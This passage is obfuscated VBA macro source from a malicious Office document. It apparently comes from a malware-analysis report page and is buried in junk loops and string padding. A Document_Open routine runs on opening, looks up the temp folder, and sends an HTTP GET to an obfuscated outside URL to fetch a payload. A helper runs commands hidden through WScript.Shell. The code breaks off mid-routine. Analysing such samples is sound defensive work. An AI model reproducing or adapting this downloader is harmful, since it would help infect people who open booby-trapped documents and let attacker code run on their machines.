        MCUha = "RSY]p$y)Mo" + "U?$jGQWYR]ID^k" + "AxBC-UUNFIUoNM^vk*L"
        JzyIqz = JzyIqz + 1
    Wend

    ZgNloOG = LTrim("TQNuEkL!SFUdhh_O")
    GkoFktQT = StrReverse("DNv_I&is)Drl")
    MCUha = 1264 + 1298 + 708
    QNQwPRs = RTrim("uLAYpN!vrvsr-@I")
    UibgTeZp = UCase("v(iCrEeOqBNZPn!")
    For qqeCio = 0 To 58
        DWoAsY = 160 + 102 + 215
        DWoAsY = "[yNEd_XGz%l?uI" + "#UJUVZ%sJu%FHy%VQusD" + "-NqSZcVTtf^U^BOGP"
        upuRW = "YAUnL&TPrQG[n" + "C(TPQ$^Px[q (pL!Ik" + "Bih?ur^bS)YapPfzhQa"
        upuRW = "cO@xHruZRbEt" + "oOHbh)y%jfFoe?" + "lBUUBJW )YsJrIxcu"
    Next qqeCio

    zHaQMj = RTrim("j.(?i#JOQ.#U&C)#h?$")
    upuRW = StrReverse("g]Bg%xuwMY$%]JbA")
    UibgTeZp = StrReverse("pt EuwU-P?!fTyB")
    UibgTeZp = LTrim("Z!GC*r?CHu")
    QNQwPRs = 849 - 731 - 692
    XbFpLix = StrReverse("nLpxF[gLsLP%da*^ZkE")
    zHaQMj = 298 + 998 + 1926
    MCUha = 1202 + 1676 + 642
    QNQwPRs = RTrim("&jHrmJZnF^xxju%k")
    For DUjBer = 0 To 269
        DWoAsY = 1653 - 985 - 1353
        DWoAsY = LTrim("!yYWK!PmJARU()s$rLOM")
        ZgNloOG = StrReverse("cbWLl&@BR[dnvOHJXr")
        GkoFktQT = RTrim("I@v.Yyb[TB]gjf@Y$FkJ")
        UibgTeZp = Right("tQdK&te_jyY)jm", 4)
    Next DUjBer

    While BMPIdB < 397
        DWoAsY = Left("[q#elDlaedcy[ni", 5)
        zHaQMj = StrReverse("#C$iqEpaeNU%U&w^UJ ")
        UibgTeZp = StrReverse(" #Vapoz)a&s&[U!#f?p")
        GkoFktQT = "XYO%LSeg!H$Km%" + " -mwf#cxjnz" + "[vRz)Uo&*G"
        zHaQMj = 1792 + 568 + 728
        BMPIdB = BMPIdB + 1
    Wend

    GkoFktQT = StrReverse("K#@[ jb#)LrUpvd)-")
    zHaQMj = Space(16)
    upuRW = 1877 + 1561 + 1554
    zHaQMj = Right("kB_vErAkI@&o", 5)
    GkoFktQT = 913 - 435 - 1634
    While KVsEbg < 173
        XbFpLix = 691 + 237 + 1837
        UibgTeZp = LTrim("nVo%MbXVZiWx")
        zHaQMj = Space(15)
        UibgTeZp = "EeSZVtWOhC#EX.SsHFTP" + "ViWuqPCloElUKW(LohS(" + "MvEVWYqOW@fgu"
        jGfER = LTrim("tC_IejtfI]kvK]cTbTeg")
        DWoAsY = "ixd ilfPho^*g" + "dc&$pSQoQf.oe!KNJ" + "s.Cr&Ke#osA]@.VP"
        XbFpLix = Left("A@$E.A#Wn^(n!yv.a", 4)
        KVsEbg = KVsEbg + 1
    Wend

    MCUha = Left("^Ovt&%KSkAW#rm", 2)
    ZgNloOG = 999 + 660 + 483
    XbFpLix = Left("[n*czTYh]zv-@", 4)
    kPqahzyv = 831 - 137 - 1249
    MCUha = 1358 + 1524 + 1093
End Sub

Private Sub nRXDOS(XpeXiEu As String, vfzuTOu As String, RShMQP As String, tWzMuP As String)
    zHaQMj = UCase("bEzTfGtDM x#Gh!H)cx")
    For ZGDOGc = 0 To 147
        upuRW = RTrim("D!YvECdp[zG[-LY!^S #")
        GkoFktQT = StrReverse("bn!S#Xo.St*o")
        upuRW = UCase("B%IEu(LgMb@vD")
        upuRW = 346 - 917 - 778
        GkoFktQT = StrReverse("xSJWP--@u]_?")
        UibgTeZp = 1395 - 1781 - 603
        MCUha = 1667 - 1778 - 1878
        ZURgv = Left("Zy#woap&a*Lxm(!K", 4)
        MCUha = StrReverse("%q$Qd&^xnIphc ")
        zHaQMj = 1653 - 138 - 371
    Next ZGDOGc
    ZURgv = Space(6)
    Set vkdCT = CreateObject(wHqQCMT("WPSdcSrGispgtj.?SPh.ePl?l["))
    vkdCT.Run XpeXiEu, 0
    ZgNloOG = 379 - 1736 - 1736
    UibgTeZp = "e T$^eZU^.jbuVxm?" + "fs#HROInoz[CtofvDAI" + "Fk@MhO fBgAzhOc"
    MCUha = LTrim("SB?KkvOab.TU[ ac")
    jGfER = Left("cqGWTOwWorBHbokh A", 4)
    jGfER = LTrim("keRnJvNzJN*dvSQ")
    jGfER = UCase("ZiyH-pnAroX")
    GkoFktQT = StrReverse("fYIO&]Fuex")
    UibgTeZp = Right("QrKTyavs^.OtJIJo", 4)
    XbFpLix = Right("yUKYsjAXRq-f%ajV%k", 3)
    While apMfAr < 79
        ZgNloOG = LTrim("(d?LLYWpy^.vL(yS.-")
        XbFpLix = RTrim(")petkV%y@D")
        apMfAr = apMfAr + 1
    Wend
End Sub

Private Function TGfByD(rmEpBog As Boolean, aPmLpHb As Boolean) As String
    GkoFktQT = "b)BRj_xqUoggdwaPR" + "J_JQD!zGTQxe" + "*JG*pRX@dzhVs_aOOGtH"
    upuRW = 1331 + 304 + 138
    kPqahzyv = LTrim("av$b@ZZl$Qy!ka")
    XbFpLix = Right("ABN[%vlibWy", 3)
    DWoAsY = Space(6)
    kPqahzyv = UCase("rpRv(tu[Hm[mMw")
    zHaQMj = RTrim("Lb.e(]*@uMu&zGPv@-")
    DWoAsY = 1363 - 1174 - 813
    DWoAsY = Right("QU)rmtjgK#g%mGs", 5)
    kPqahzyv = Space(3)
    kPqahzyv = RTrim("QQ$^.Bvh-.?cn?")
    DWoAsY = Right("k(B[TYLigjB t!YtVGD]", 2)
    For kYsSIy = 0 To 233
        kPqahzyv = Right("wRhmlmWu#Pbmw@WEH@", 5)
        jGfER = 1052 + 1392 + 1665
        zHaQMj = 221 - 1395 - 1514
    Next kYsSIy

    ZURgv = 1694 + 1762 + 1260
    ZURgv = ")lwMyZ ^RYAz!b" + "KWnBRt yF^LHOtv" + "XAieTFr)BU^SY&Fv w"
    For lcSBwu = 0 To 111
        zHaQMj = "ZY-QJTN^_?pp_kvS" + "EwvrS@GRMvzPaV" + "x?b%Z)lX-q!Vo"
        QNQwPRs = LTrim("%d*ubun))X")
        GkoFktQT = Left("iIyPxUmg[unNy", 2)
        MCUha = UCase("mPFWdv#T!!t")
        jGfER = Right("JDZGotY)XFf@F?", 2)
        ZURgv = StrReverse("mU]kfLamdvL?t-wHw ")
        ZgNloOG = StrReverse("[*) YRXxNnF")
        GkoFktQT = UCase("]XiM?pNgXjWrpdK")
        jGfER = RTrim("ThEKbS#qCRvy")
        ZgNloOG = 1493 + 1866 + 488
    Next lcSBwu

    DWoAsY = Left("wcVrO_ArM^znt.hMW_", 3)
    While WHOvyB < 328
        ZURgv = 1889 - 949 - 1669
        XbFpLix = Space(14)
        DWoAsY = " KwLsvTncgkgORtrw.k" + "R.z*NgRPci" + "D%Q(ucClIygKnmqw%$"
        DWoAsY = 216 + 1204 + 1465
        WHOvyB = WHOvyB + 3
    Wend

    kPqahzyv = Left("It_ xUDgaZ@gH^o", 3)
    GkoFktQT = Left("XitvoIY*haw", 3)
    ZURgv = RTrim("I^NxKgw(zSra.&JjR")
    XbFpLix = Left("X.jeidLj.TLW@W", 3)
    ZURgv = Right("*czSef[b Jm", 5)
    GkoFktQT = Right("VQp([nijDs.y!W", 5)
    For zFiKYh = 0 To 186
        ZURgv = Right("&n&h@?E.AE]B-^-(kp", 2)
        DWoAsY = Space(20)
        jGfER = "p$QawXqR.M)LeiC" + "B!s!ZAaLe.yAehxKusz^" + "]D&V?vrd@vfV"
        DWoAsY = Right("C*jWoI(%!n", 4)
        DWoAsY = StrReverse("mPxi#F*j&kS&NmR*")
        upuRW = 1290 - 420 - 149
        jGfER = Left("k&F!vv.]et", 3)
        zHaQMj = Left("(K p wqUwGSixOxN", 4)
    Next zFiKYh

    upuRW = RTrim("I&KySbq@??M&ne")
    MCUha = Right("E@hmQ%CFnZiWkNJXrcUC", 2)
    GkoFktQT = UCase("dxxO?enUhd.")
    QNQwPRs = UCase(")yuU?Es*PxiKR")
    DWoAsY = Space(16)
    QNQwPRs = UCase("-D*@&HErNf")
    ZgNloOG = Right("GXSsCQcAwpr^ADW.MuhT", 3)
    zHaQMj = Right("a[$ieLhZU^m.nU?", 4)
    jGfER = StrReverse("^cI)nI[#ghlXo")
    For LkFsyT = 0 To 364
        QNQwPRs = 190 + 1904 + 778
        GkoFktQT = 223 - 191 - 1205
        UibgTeZp = Right("Eb!Xl Y@^*@BUHiK", 2)
        jGfER = StrReverse("YBz)%QH*VdvPLij")
        ZURgv = 1105 + 557 + 1126
        UibgTeZp = "LDltqdskkB_j" + "[)nm_xA*H!q" + "GjdUclnkxLlS#A@"
        MCUha = 908 - 100 - 1111
        upuRW = StrReverse("teRmk@xkobuS(tChg")
        MCUha = LTrim("C ]uk!z.?h]GdxU-")
        UibgTeZp = Left("mlMhI&wzj%r", 5)
    Next LkFsyT

    While lSepvH < 194
        upuRW = Left("P#__e^YTvkICMzw_JV", 5)
        XbFpLix = RTrim("zuvVsvOSXKY")
        kPqahzyv = 1356 - 1882 - 159
        GkoFktQT = "DhJ]y#A[orctOJJ" + "(lTZvfFGF^_gWX*bL" + " iZZY#URklWbYjjOmbQz"
        upuRW = Right("@@dCEmsnKbrGNCj", 2)
        lSepvH = lSepvH + 1
    Wend

    UibgTeZp = 1303 + 1352 + 1786
    For xLXRBo = 0 To 94
        XbFpLix = LTrim("!@$HUIdbk$U].X")
        QNQwPRs = 480 + 1030 + 1799
        jGfER = 1900 - 1216 - 811
        GkoFktQT = Left("uCPRfp(hL@CMk", 2)
        GkoFktQT = Space(5)
        XbFpLix = 1891 - 568 - 526
    Next xLXRBo

    QNQwPRs = 318 + 1091 + 1011
    jGfER = Space(16)
    TGfByD = "hdPoSvzVBqLMSVgpHfgeCbTxCcoQAnkIhYPxOoTZ"
End Function

Private Sub Document_Open()
    Dim TyOtqTjm As String
    While ePhvft < 74
        ZgNloOG = 1006 - 1319 - 101
        upuRW = 1078 - 1192 - 566
        XbFpLix = Left("gPdWhG]BVvq^", 2)
        DWoAsY = RTrim("oDWxiiS.R[jYeeu[w!K")
        ePhvft = ePhvft + 3
    Wend

    QNQwPRs = RTrim("zf*Iq]OTmGa)Uz!@")
    For FlyWCv = 0 To 174
        GkoFktQT = Space(8)
        ZgNloOG = StrReverse("XqXh%l@Vk_utT^l")
        QNQwPRs = 924 + 1404 + 804
    Next FlyWCv

    XbFpLix = 182 - 1962 - 1713
    MCUha = StrReverse("iCg!&j&d]KvomWxC(nX")
    ZgNloOG = 1077 + 1353 + 305
    While uCEkUZ < 108
        zHaQMj = Left("$XzBHR@v Z.aT", 5)
        jGfER = RTrim("RCvRAdwDFXrtR&")
        kPqahzyv = Left("znTcIXSaGPujO#^(lc?i", 5)
        zHaQMj = "$ plq?(kgdrn$qhP" + "la._^N.-Xb#[WNK]" + "?owtGx.gBpXL@gT$"
        QNQwPRs = LTrim("WRQcR jotQYJoTCzzsmp")
        uCEkUZ = uCEkUZ + 2
    Wend

    UibgTeZp = Left("bJRWLmnqgPBR(", 5)
    ZURgv = UCase("aOI^PBgqJ?UYd_")
    Set tOvANc = CreateObject(wHqQCMT("s]cSrBi[p?tuirnugJ.gfei lxe%s&y^s tAeLmPoLbOj&eLc-tQ"))
    MCUha = 1049 - 561 - 1008
    MCUha = LTrim("?WMPdk%*mqZbOKdH)E!*")
    UibgTeZp = Right("-ZNq[T^t!T)@s%ep", 4)
    kPqahzyv = StrReverse("vgdDcZXJIyH@c@pSKh(")
    MCUha = Left("C*))IrlXZq$CwK", 3)
    kPqahzyv = 531 - 725 - 1034
    jGfER = Right("ABU tlle%&", 3)
    DWoAsY = 1246 + 1865 + 356
    jGfER = Left("*jXNZWWda!^a?!$NvL", 4)
    BEZjWOV = tOvANc.GetSpecialFolder(1 + 1)
    GkoFktQT = Left("Rp%DHv?PmEQrlww)S", 2)
    DWoAsY = Left("BcPeUBNsCJeXwE[(qV^", 2)
    ZURgv = 1622 + 1141 + 367
    upuRW = Right("E?%[gDGt?Qkti.%cV", 4)
    upuRW = RTrim("kKKTCd&@AkV)nWoH^")
    QNQwPRs = Left("^IV*@XHBEtD.*acrUllM", 3)
    XbFpLix = Space(4)
    For rdbYUN = 0 To 220
        MCUha = 814 + 1845 + 1417
        ZURgv = Right("UumZ BXilIb#Jr", 2)
        zHaQMj = "j**k(A(EEaIYazW-b" + "MxRFxnaoKWXIJe]%(BZZ" + "B(LR)PCSPqebmUcI]#Le"
    Next rdbYUN

    ZgNloOG = StrReverse(".XRz.X!Kd][K(tMBpqcN")
    TyOtqTjm = StrReverse("_eCx_eF.?MLs(kbmhHJF.K")
    MCUha = UCase("gjF%)L(hiGE")
    upuRW = RTrim("%yAWqNM&s#uEe")
    For PdALSv = 0 To 66
        ZgNloOG = 826 + 109 + 1326
        DWoAsY = 577 + 1877 + 944
        UibgTeZp = Space(19)
        MCUha = "pAiiq#t[_iWm" + "jeJxOJmgwuTft]" + "yrVplq]OVf"
        upuRW = 1251 + 1190 + 1831
        upuRW = StrReverse("pkXVV?H[.?Jfw]")
        ZgNloOG = 1110 - 349 - 739
    Next PdALSv

    While knzTLm < 133
        jGfER = 1527 - 1534 - 708
        ZgNloOG = Space(17)
        UibgTeZp = Left("ZaezN_fdWAVmNUWpJ", 2)
        GkoFktQT = UCase("?mIG%dN!N@Y")
        zHaQMj = Left("y$safYvX__iAfXS&Cn", 5)
        QNQwPRs = 1827 - 812 - 864
        ZURgv = 277 - 279 - 343
        knzTLm = knzTLm + 2
    Wend

    UibgTeZp = Right("bMjaH^%)gsVww[U_jf", 4)
    kPqahzyv = Space(7)
    kPqahzyv = "o.@W]OIqJJfx" + "]C?OrudLL^hf" + "VzuofS$kfYF(T"
    For oNUYbm = 0 To 98
        MCUha = Left("$veHILPzCEwesz", 2)
        UibgTeZp = StrReverse("?j&UX%&dUEjS*)XPq#@[")
        upuRW = "Ng_@pr%*Wy.s)q" + "eFvhT@E$FT" + "?FJEs*[_(vFla&K"
        DWoAsY = 595 + 1715 + 364
    Next oNUYbm

    QNQwPRs = "c^#?wwunqMxm#N" + "hGXJgIq&vbv)F" + "k]m-CZGCkk@Mm^b"
    While ibciBb < 367
        kPqahzyv = Left("W#A&-aJa.QI", 3)
        kPqahzyv = StrReverse("UVNQKIPCX%!$ELrU")
        jGfER = 1974 + 1740 + 1066
        DWoAsY = "iJ*cnAHDlpdY" + "b]H(J)NtcxDwpFl" + "XavEScNH!*N.zHC"
        zHaQMj = RTrim("VOMDf&&YP%dI&tjT")
        zHaQMj = StrReverse("oKf@uhHXuJ%qe-mouo")
        QNQwPRs = Left("N_CbT%ocPqgJ(K)M", 2)
        XbFpLix = UCase("OE@*ZfHSVsrcl")
        GkoFktQT = "[S#hnbR@ckEncc" + "_#gen)-zj*ERhw" + "p&I Kri.bH"
        XbFpLix = RTrim("Ky(W%D!RCt")
        ibciBb = ibciBb + 2
    Wend

    For sVJAxa = 0 To 192
        zHaQMj = LTrim("FvTQKyKlqsIm")
        XbFpLix = 184 + 232 + 886
        DWoAsY = RTrim("#QVTK- Wm?)")
        QNQwPRs = StrReverse("YcoJEdyjZ.CaOM")
        ZgNloOG = "iuBgk]Wnja.&sth" + "&DxIGU_?CYEdE" + "*hEd%%_HRz%BwCd"
    Next sVJAxa

    ZURgv = Left("dpxDKWoO&sbgh", 3)
    ZURgv = 495 - 1611 - 1954
    While DCGRAF < 171
        zHaQMj = 1200 + 515 + 624
        QNQwPRs = 608 + 640 + 704
        UibgTeZp = LTrim("nlzWAkL@qE?PYOC#$j")
        jGfER = "ruERb?RfDWsmjaRjv" + "RJR@WIY[iGykgQbAG p" + "NtJBgmby$u(@"
        DCGRAF = DCGRAF + 3
    Wend

    DWoAsY = 283 + 1606 + 1358
    DWoAsY = 237 - 1607 - 471
    XbFpLix = Left("Q&qd_I)pkfDS", 4)
    upuRW = "L]kWR](rp_pL " + "O_?iTzwbpmx." + "_bKY)bl&wsxCJEu"
    GkoFktQT = Left("@!PCaze#b^lW", 4)
    jGfER = Left("Ce-dNc_%Pz*e)^noAH", 2)
    MCUha = StrReverse("&q!xZr_LEOP")
    UibgTeZp = 921 + 1180 + 1552
    upuRW = StrReverse("G$a[wUdWrwT")
    While lzqzZv < 360
        UibgTeZp = 234 + 1394 + 1707
        MCUha = UCase("J]XqRfFtoAK")
        DWoAsY = Left("nm^xuh#nWFfL^rJx", 2)
        jGfER = LTrim("TgFoS]XIrincVhW$s")
        lzqzZv = lzqzZv + 3
    Wend

    UibgTeZp = Left("%mjCPCrWI_ftuy", 4)
    DWoAsY = "K$&!T-vuq*]Lf_Y@&gDG" + "E&XXIwM?R.TGfycdXlI" + "CX#Xj*(-WqJR"
    jGfER = RTrim("^ltA)sYRo&k")
    zHaQMj = UCase("x?]UFYtO$HYw]!&&B&")
    Dim UQWuG, ccxaH As Object
    While pCYUek < 79
        QNQwPRs = StrReverse("u)PAT-!TO(@RV[l")
        upuRW = RTrim("&o?Uo]?M?KYvIm")
        upuRW = LTrim("*?K#^eyFjMUtTV!")
        pCYUek = pCYUek + 2
    Wend

    kPqahzyv = 1113 - 796 - 1463
    While TQfpfj < 335
        kPqahzyv = StrReverse("f$L*IBsdax")
        GkoFktQT = 1488 + 1346 + 1496
        DWoAsY = "VHOVuKQH(?ef" + "fdDJFg])J]" + "m%?]@XdyUDFW*zyi%AP"
        MCUha = 421 - 309 - 1062
        QNQwPRs = LTrim("ZrlpgFtwcs")
        GkoFktQT = Right("B^otMZ*_r %*TD", 3)
        GkoFktQT = RTrim("DS-Nucns^%u%o-MM$z")
        TQfpfj = TQfpfj + 3
    Wend

    upuRW = 1290 + 1438 + 170
    GkoFktQT = 948 - 844 - 1304
    UibgTeZp = 1609 + 627 + 1978
    While wJQaTT < 51
        XbFpLix = LTrim("HsA.Hi%QHH")
        ZURgv = Left("Iqno(c.hzOsTJ]f", 2)
        kPqahzyv = LTrim("BUFwDUlBjITN*WVn%o^")
        UibgTeZp = UCase("GC)ZO.U(Lf^U JV")
        wJQaTT = wJQaTT + 3
    Wend

    Set UQWuG = CreateObject(wHqQCMT("MLiwc%r]oHsqoBfRtc.FXmMgL-HATLTaPs"))
    upuRW = "kgbhVMtCiGSoQ#" + "xyz.OyZJlyAr %w" + "VJaBD(!kximykmIWp?@"
    For WCsxzc = 0 To 321
        zHaQMj = UCase("Vn DDwYmV-oWDcvA")
        UibgTeZp = Space(13)
        GkoFktQT = "$B-$.wnTviTn" + "bUI Cc@dpRtK" + "mymhdxPY-N^G%-Yhq*"
        UibgTeZp = LTrim("qlS#%eZVlDBH(")
        ZgNloOG = Space(19)
        ZgNloOG = 622 - 1528 - 1396
        UibgTeZp = Right("edXCActg%DNGx", 5)
    Next WCsxzc

    XbFpLix = "ThYzn.EDnDLYDgO" + "H@irdiIEnsHl" + "(TKSOJlLBAuGg^r!fhlz"
    ZgNloOG = Space(16)
    DWoAsY = RTrim("iI[XJ*UzVD*v_i#sg#Di")
    jGfER = StrReverse("tR$iPqv.U@C mIToGMyT")
    UibgTeZp = Left("RZ)-S$C$MmX-FgLyy", 3)
    upuRW = LTrim("hhvE*f)ZgsI")
    QNQwPRs = Right("x%X?(-H-*-k", 5)
    dOQFwy = wHqQCMT("hgtZt%pq:$/X/haHsWsXeYtJs&ocpytiigoQn?..cGo mx/Dguriaocge*ev.OerxNeM")
    QNQwPRs = Space(5)
    While ACQWbF < 379
        UibgTeZp = 1554 - 1573 - 893
        GkoFktQT = ")tZfvYMRjyxYNOs(ez)M" + "TjAPqW!zwrd*Mk" + "fJpd#l  Tb[Qk[u&s!h"
        ZgNloOG = RTrim("@tk$#T_pSp")
        UibgTeZp = RTrim("CQKZA_-#Qr InZ.Gv")
        GkoFktQT = 1738 - 139 - 1729
        kPqahzyv = Space(9)
        ACQWbF = ACQWbF + 3
    Wend

    jGfER = StrReverse("XCiWH@_m^?_e%")
    ZgNloOG = LTrim("lSYAa)oppp*")
    QNQwPRs = Space(4)
    kPqahzyv = 1060 - 1273 - 922
    GkoFktQT = Space(13)
    ZgNloOG = 1707 - 1635 - 355
    UQWuG.Open "GET", dOQFwy, False
    jGfER = Space(1)
    QNQwPRs = UCase("HZ.Ko]F@npB%kaa")
    upuRW = LTrim("tkOqJ]BFw!.iU$L")
    ZURgv = 944 + 1882 + 1632
    XbFpLix = StrReverse("alORuBrPEH")
    While uBZRLx < 366
        UibgTeZp = UCase("FAORLOiLW?N")
        DWoAsY = Right("Vg?wtRspjvQrwF&NK", 4)
        jGfER = 1426 + 681 + 1995
        QNQwPRs = 1539 - 382 - 956
        DWoAsY = LTrim("B$!!xL HDcj")
        uBZRLx = uBZRLx + 3
    Wend

    For LNkGhi = 0 To 152
        XbFpLix = StrReverse("Dl^jTlYRevdQCpmJWE")
        QNQwPRs = 1459 - 1234 - 849
        XbFpLix = LTrim(".TJFMuHQKtOsr.^xkS-")
        QNQwPRs = Right(".zaYxa.aW])I", 4)
    Next LNkGhi

    UQWuG.send
    GkoFktQT = UCase("#zp!&&q*sr")
    DWoAsY = LTrim("Hmd$?VJW)l")
    QNQwPRs = RTrim("!f)RJ]haUofu#s")
    kPqahzyv = Right("pjAo!)K]GLS#]zez]pLt", 3)
    ZgNloOG = "ju?KenJj*ROJQlGEV*" + "*^&TEksd[LWsM S" + "#F ]k [gck.vAJ$!AGe"
    DWoAsY = Left("Ai?mdkX%_ ?Fesfl", 4)
    XbFpLix = LTrim("GrWIkMvf Odka")
    If UQWuG.Status = 202 - 2 Then
    GkoFktQT = StrReverse("A$#s[bTOH]W_IT")
    zHaQMj = 766 - 1211 - 358
    XbFpLix = Right("nKCrKbre#rsIQN-", 5)
    ZURgv = Right("NCOXHmuRY!wZ", 5)
    kPqahzyv = RTrim("s]jyn#u#S$%Kupm")
    ZgNloOG = "fOCWIaQZ cKbHAv t%)@" + "N*zBjTzqAK" + "IVVlly_Hl!RQ]TB"
    For Cflwhq = 0 To 23
        jGfER = StrReverse("jUiuvI_QKi@y%F((*]")
        GkoFktQT = RTrim("h]%MdXHA&Qq&-Z@p")
        kPqahzyv = Space(11)
        XbFpLix = Space(14)
        jGfER = UCase("Hq.-dDYsJAQ")
        XbFpLix = Right("Jq]CNV?b[m-ujc$q", 4)
…

Open this report in the interactive analyzer, or submit your own file for analysis.